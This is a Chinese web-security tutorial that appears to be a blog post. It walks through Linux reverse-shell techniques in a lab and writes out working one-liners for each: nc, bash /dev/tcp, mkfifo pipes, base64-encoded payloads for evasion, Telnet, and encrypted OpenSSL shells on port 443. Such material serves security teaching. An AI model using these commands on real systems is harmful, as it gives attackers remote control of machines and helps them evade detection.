WEB安全基础 - - -Linux反弹shell

2022-11-19 14:24:53 浏览数 (1)

目录

一,Shell简介

正向shell(客户端想要获得服务端的shell)

反向shell (服务端想要获得客户端的shell)

 二,Linux反弹shell

1.NC正向shell

   2.NC反向shell

​编辑 3.bash反弹shell

 4.无e参数反弹shell

 5.Base64编码绕过

​编辑 6.Telnet反弹shell

 7.OpenSSL反弹443端口,流量加密传输

一,Shell简介

      Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。

getshell:获取到目标的命令执行权限 webshell:网站后门,通过web服务进行命令执行 反弹shell:将命令行的输入与输出转移到其他主机

正向shell(客户端想要获得服务端的shell

控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍

反向shell (服务端想要获得客户端的shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

 二,Linux反弹shell

实验环境 目标机器:Ubuntu、IP:10.1.1.200、ssh账号密码root/root 攻击机器:Kali、IP:10.1.1.100

1.NC正向shell

原理:被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口,控制端(kali)主动连接被控端的6666端口,即可获得shell。

在Ubuntu被控端:ncat -lvvp 6666 -e /bin/bash    //监听6666端口

控制端:nc 10.1.1.200 6666   我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名,内核,以及硬件架构

   2.NC反向shell

原理被控端使用nc将/bin/bash发送到控制端的6666端口,控制端需要监听本地的6666端口,就可以获得被控制端的shell。

控制端:nc -lvvp 6666       

被控端    ncat -e /bin/bash 10.10.1.100 6666

发现shell已经反弹到了kali中,输入下面的命令验证一下 whoami uname -a 

 3.bash反弹shell

bash -i的意思是在本地打开一个bash,/dev/tcp/相当于发出了一个socket调用,建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。远程控制端开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

控制端:nc -lvvp 6666

被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1    解析:          //     将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666 //     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连 接,读写这个文件就相当于在这个 socket 连接中传输数据

可以看到控制端 已经获取到了shell

 4.无e参数反弹shell

原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了shell。

控制端:nc -lvvp 6666 

被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f

 控制端已经得到了shell权限

 5.Base64编码绕过

控制端:nc -lvvp 1234 

python3 import base64 a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1 b=base64.b64encode(a.encode(‘utf-8’)) print(b)   利用python3将bash...转换为base64编码

被控端: bash - c "echo YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i" 实质是playload组合 bash -c "echo base64加密后payload |base64 -d | bash -i"

查看控制端,已经有参数回显

 6.Telnet反弹shell

控制端:nc -lvvp 5555                                      //传输命令窗口

控制端:nc -lvvp 6666                                      // 结果显示窗口

被控端: telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666 

 在控制端中我们两个监听的端口都得到了shell,在5555窗口输入whoami然后命令回显显示在了6666窗口

 7.OpenSSL反弹443端口,流量加密传输

控制端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes    控制端上生成秘钥文件

控制端:openssl s_server -quiet -key key.pem -cert cert.pem -port 443  // 在控制端上启动监视器 

被控端: mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s                      //在被控端反弹shell

在监视器上得到了shell,输入whoami验证

0 人点赞